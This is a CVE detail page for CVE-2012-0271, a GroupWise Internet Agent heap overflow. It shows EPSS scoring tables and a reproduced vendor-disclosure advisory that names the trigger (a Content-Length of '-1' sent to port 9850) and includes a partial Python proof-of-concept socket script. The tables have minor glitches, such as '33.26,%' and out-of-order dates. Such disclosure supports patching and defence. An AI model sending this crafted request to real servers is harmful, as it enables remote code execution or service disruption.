CVE-2012-0271 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	14.22%	–	–
2022-04-03	–	–	14.22%	–	–
2022-05-15	–	–	14.22%	–	–
2022-09-04	–	–	11.92%	–	–
2022-12-04	–	–	10.14%	–	–
2023-02-26	–	–	10.14%	–	–
2023-03-12	–	–	–	7.72%	–
2023-06-11	–	–	–	8.37%	–
2023-07-16	–	–	–	8.37%	–
2023-07-30	–	–	–	8.37%	–
2023-08-06	–	–	–	8.37%	–
2023-10-15	–	–	–	11.39%	–
2024-06-02	–	–	–	11.39%	–
2024-08-25	–	–	–	15.27%	–
2024-10-13	–	–	–	11.39%	–
2024-12-22	–	–	–	14.64%	–
2025-01-26	–	–	–	8%	–
2025-01-19	–	–	–	14.64%	–
2025-02-02	–	–	–	8%	–
2025-03-18	–	–	–	–	26.15%
2025-03-30	–	–	–	–	33.26%
2025-03-30	–	–	–	–	33.26,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	95%
2022-05-15	96%
2022-09-04	95%
2022-12-04	94%
2023-02-26	95%
2023-03-12	93%
2023-06-11	93%
2023-07-16	94%
2023-07-30	93%
2023-08-06	94%
2023-10-15	95%
2024-06-02	95%
2024-08-25	96%
2024-10-13	95%
2024-12-22	96%
2025-01-26	94%
2025-01-19	96%
2025-02-02	94%
2025-03-18	96%
2025-03-30	97%
2025-03-30	97%

##################################################################################### Application: Novell Groupwise Platforms: Windows Version: 8.0.2 HP3 and 2012 Secunia: SA50622 {PRL}: 2012-28 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Report Timeline ============================ 2012-02-03 Vulnerability reported to Secunia 2012-09-14 Publication of this advisory ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe) when copying request data and can be exploited to cause a heap-based buffer overflow by e.g. sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/python import sys,os,socket if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0) host=sys.argv[1] port=int(sys.argv[2]) sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host,port)) 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print "done!" sock.close()